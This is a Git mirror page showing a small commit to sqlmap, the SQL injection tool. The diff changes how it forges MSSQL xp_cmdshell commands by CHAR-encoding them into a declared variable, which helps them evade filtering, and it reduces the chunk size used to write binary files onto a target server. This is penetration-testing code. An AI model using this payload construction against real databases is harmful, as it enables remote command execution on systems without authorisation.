sqlmapproject/sqlmap
1
1
Fork 0
mirror of https://github.com/sqlmapproject/sqlmap.git synced 2025-11-04 09:57:38 +03:00
Code Issues Packages Projects Releases Wiki Activity

Closes #111 (DECLARE/CHAR encode xp_cmdshell parameter in MSSQL).

Browse Source
This commit is contained in:
Bernardo Damele 2010-11-02 15:31:51 +00:00
parent 3596f81e6a
commit c7c84c3089
2 changed files with 8 additions and 3 deletions
Show Stats Download Patch File Download Diff File Expand all files Collapse all files

9
lib/takeover/xp_cmdshell.py
View File

@ -13,6 +13,7 @@ from lib.core.data import conf
from lib.core.data import kb from lib.core.data import kb
from lib.core.data import logger from lib.core.data import logger
from lib.core.exception import sqlmapUnsupportedFeatureException from lib.core.exception import sqlmapUnsupportedFeatureException
from lib.core.unescaper import unescaper
from lib.request import inject from lib.request import inject
from lib.techniques.blind.timebased import timeUse from lib.techniques.blind.timebased import timeUse
@ -96,9 +97,13 @@ class xp_cmdshell:
return False return False
def xpCmdshellForgeCmd(self, cmd): def xpCmdshellForgeCmd(self, cmd):
forgedCmd = "EXEC %s '%s'" % (self.xpCmdshellStr, cmd) self.__randStr = randomStr(lowercase=True)
self.__cmd = unescaper.unescape("'%s'" % cmd)
self.__forgedCmd = "DECLARE @%s VARCHAR(8000); " % self.__randStr
self.__forgedCmd += "SET @%s = %s; " % (self.__randStr, self.__cmd)
self.__forgedCmd += "EXEC %s @%s" % (self.xpCmdshellStr, self.__randStr)
return forgedCmd return self.__forgedCmd
def xpCmdshellExecCmd(self, cmd, silent=False): def xpCmdshellExecCmd(self, cmd, silent=False):
cmd = self.xpCmdshellForgeCmd(cmd) cmd = self.xpCmdshellForgeCmd(cmd)

2
plugins/generic/filesystem.py
View File

@ -192,7 +192,7 @@ class Filesystem:
forgedScrLines = [] forgedScrLines = []
cmd = "" cmd = ""
charCounter = 0 charCounter = 0
maxLen = 4096 maxLen = 512
logger.debug("generating binary file %s\%s, wait.." % (tmpPath, chunkName)) logger.debug("generating binary file %s\%s, wait.." % (tmpPath, chunkName))